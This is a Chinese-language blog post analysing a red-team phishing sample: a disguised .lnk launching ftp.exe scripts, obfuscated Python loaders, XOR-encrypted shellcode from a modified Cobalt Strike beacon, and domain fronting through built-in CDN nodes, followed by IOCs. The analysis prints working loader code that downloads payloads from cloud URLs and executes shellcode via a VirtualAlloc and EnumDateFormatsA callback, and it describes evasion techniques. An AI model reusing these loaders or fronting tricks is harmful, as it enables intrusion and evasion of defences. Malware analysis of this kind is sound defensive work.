0x01 前言
好久没更新blog,简单记录下前两天分析的一个某大厂红队做的钓鱼马;
0x02 样本分析
1
2
3
4
5
6
7
8
样本:《故障信息.rar》
md5:b51c0f4492538e3a7302e8f13aa3642a
解压 pwd:comac
释放一个伪装为doc的快捷方式,和一个影藏文件夹``_init_``
名称:《商飞系统故障信息.docx.lnk》
md5:9cbb5829d876f91c83dff6bd66273ed1
一、loader分析
快捷方式指向:C:\Windows\System32\ftp.exe -""s:__init__\libEGL.dll
如上图,利用ftp加载运行脚本libEGL.dll
libEGL.dll,一个伪装为dll的ftp脚本,脚本内容如下:
无窗口运行main.py和打开11.docx并退出ftp;
main.py导入action.py,
action.py内容如下:
简单还原混淆,代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import ast
import pickle
import ctypes ,urllib .request ,codecs ,base64
import sys ,ssl
ssl ._create_default_https_context =ssl ._create_unverified_context
req =urllib .request .urlopen ('https://message-pdf.oss-cn-hangzhou.aliyuncs.com/BuWtGeVfIx').read ()
def fun1 (arg1 ,arg2 ):
len =bytearray (len (arg1 ))
for i in range (len (arg1 )):
len [i ]=arg1 [i ]^arg2 [i %len (arg2 )]
return bytes (len )
def fun2 (arg1 ,arg2 ):
return fun1 (arg1 ,arg2 )
def fun3 (arg1 ):
res =""
for i in range (3 ,len (arg1 ),4 ):
res +=arg1 [i ]
result =base64 .b64decode (res )
return result .decode ()
req =fun3 (req .decode ())
class A (object ):
def __reduce__ (arg1 ):
return (exec ,(req ,))
def fun4 (A_arg1 ):
try :
parsed_code =ast .parse (A_arg1 ,mode ='exec')
exec (compile (parsed_code ,filename ="<string>",mode ="exec"))
except Exception as e :
exit ()
my_value ="tvpcvulmyrlVuhk0yqhIjosDzwn0nlbgwancrdgGypalpdljqqpaxmw2awvxgrblftiLlxzmkscRxth1cymbcxoXanlBnjfzeyjKvhdEwbfEciroaepKvgqSfqgksocNvgqCpoantnmJfpkllehdbowFchr9txqijjiYqvfXblrNtsllfihNqxsjvrbQbljgpizPmwnSiseBzvbiopfYfliXxvkNgemlsjlNkocjkwjQeayubakYogmjehpYicy0afpZugrWxvl5ninjkgwbmnb2yzcRefulzybKvckHsvzJybrlfprdtqpCstbknnuNzizCjxznckpJwvzluundngsFxeo9igykalmZzxoWkdhNzlzvipsZwlwGxvqUokxgxekPgbmSnoyBtrmikbmYktdXkxqNtboljzdNaanjlddQlyguyoyYrlxjxvlYhat0vyeZdhtGgvnVfixjnzmbukh2rjqRvrslhbeKrzpHfslJcqeleekduluFxkf9siuiibeYlnbXykkNznalnbyNhpijsfvQgyzpscsDkslQgoppjuiwizwaqeeWgzrNgktrtrfbfggGfjwUkkyuyfdbdiyGguo9ncshkctZhckHpfjMzrpozsschipmzgnVcyb0pmgXbmz2bosRlgxlcecYwbt2jsw9mkckmnpZsmrSrnskths="
res1 =fun3 (my_value )
fun4 (res1 )
利用ast编译并执行解码后的代码,解密还原后的代码如下,通过远程拉取云服务器【https://message-pdf.oss-cn-hangzhou.aliyuncs.com/BuWtGeVfIx
】上的加密恶意payload,解密解码后利用自定的反序列化操作,实现任意代码执行
分析的时候,云服务器上挂载的载荷还在,下载下来,如下:
解密解码还原如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import ctypes,urllib.request,codecs,base64
encrypted_data = urllib.request.urlopen('https://message-pdf.oss-cn-hangzhou.aliyuncs.com/p73G62aM').read()
encrypted_data = encrypted_data.strip()
while 1:
try:
#64
key = b'vylaWhegGgcfkDRFH'
decoded_data = base64.b64decode(encrypted_data)
sc = OO0000OO00O00OOOO(decoded_data, key)
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(sc), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage),ctypes.create_string_buffer(sc), len(sc))
ctypes.windll.kernel32.EnumDateFormatsA(ctypes.c_char_p(rwxpage), ctypes.c_int16(0), ctypes.c_int16(0))
except Error as e:
print(e)
结合前面代码 OO0000OO00O00OOOO
是fun2,内置解密就是fun1方法,一个循环异或解密的方法;
这里远程拉取云服务器【https://message-pdf.oss-cn-hangzhou.aliyuncs.com/p73G62aM
】上shellcode,通过内置key,解密shellcode,解码然后使用py实现了一个loader,EnumDateFormatsA回调加载shellcode并执行;
云资源还在,这里我们获取到,内容如下:
解密解码还原后:
二、Shellcode分析
静态分析,发现做了运行时动态加解密:
写个loader 加载调试该shellcode:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <windows.h>
#include <iostream>
using namespace std;
void run()
{
HANDLE hfile = CreateFileA("shellcode.bin", FILE_ALL_ACCESS, 0, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD fileSize = GetFileSize(hfile, NULL);
LPVOID buffer = VirtualAlloc(NULL, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
DWORD realRead = 0;
ReadFile(hfile, buffer, fileSize, &realRead, NULL);
((void(*)())buffer)();
}
int main() {
run();
}
如下图,修改后的代码是一个循环格式,xor迭代循环从后往前修改所有字节:
修改前:
修改后:
接着一直迭代重复该操作,这里我们通过设置条件断点,跟了几个轮询:
7个相似的解密轮回之后:
11个相似的全局解密轮回之后,跳转0x1b017
偏移位置:
然后通过计算拿到了rax,发现rax对应位置的值是mz开头,跳转内存看,发现还原出来的内置其中的pe文件:
dump,拿到pe文件,如下图,可以看到文件名bacons.x64.bacons.dll
分析这个dll文件,所有变量都被混淆了,如:下面是动态获取一些函数地址的时候,通过loadlibrary和getprocaddress的操作:
导入表,所有都乱码了:
区节表名称被混淆:
推测这里因该是还有一个动态修复dll的过程;需要接着刚刚动态调试;
但是硬逻辑里面发现一个字符特征和cs吻合,可能是基于cs魔改过来的:
动态分析:
shellcode逻辑里面,修复各表节:
调试,发现外联:
1
2
3
4
5
url:"/unionpay/index"
cookies:
host:79nh.com
agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
cookies里面的加密内容:
所有内置的外联节点:
拿到疑似c2:
1
2
3
4
5
6
7
8
9
10
疑似:
122.228.223.248
111.170.24.248
36.102.212.117
36.158.224.101
58.220.52.240
121.207.229.248
182.40.78.250
113.200.137.226
和行为侧看到的一致:
这里通过情报查询,发现拿到这批疑似c2的IP,其实都是cdn的转发节点:
结合之类之前的网络请求:
1
2
3
4
url:"/unionpay/index"
cookies: 加密内容
host:79nh.com
agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
这里攻击者使用域前置技术来外联c2,只不过做了一些改进,就是把前置的域名去掉,直接把前置域名可能会解析到的cdn节点,内置到样本里面,然后直接发送请求到cdn节点,cdn节点根据后置域名转发,从而实现c2上线;
通过堆栈回溯,发现这里shellcode里面并没有通过virtualAlloc之类的函数去开辟空间,来容纳反射加载dll,而是选择通过加载一个wwanmm.dll的模块,然后覆盖这里的地址;
通过内部的狩猎平台,发现相关类似shellcode,23年年底就出现了;说明该红队的技术迭代不是非常频繁;
0x03 IOCs
云资源:
1
2
3
hxxps://message-pdf.oss-cn-hangzhou.aliyuncs.com/BuWtGeVfIx
hxxps://message-pdf.oss-cn-hangzhou.aliyuncs.com/p73G62aM
内置的cdn节点
1
2
3
4
5
6
7
8
122.228.223.248
111.170.24.248
36.102.212.117
36.158.224.101
58.220.52.240
121.207.229.248
182.40.78.250
113.200.137.226
请求特征:
1
2
3
url:/unionpay/index
agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
cookies:加密心跳
domian:
1
79nh.com
0x04 总结
此次分析的样本的shellcode 大概率是对cs beacon魔改而来,并且其回连c2都是使用域前置技术的变种版,不用前置域名,内置cdn节点,从而实现回连上线;
loader通过双层云资源拉取解密,实现免杀;
shellcode使用了一些编码技术,和反反编译技术等实现免杀;
域名前置新姿势,绕过流量设备的dns请求记录,实现反分析;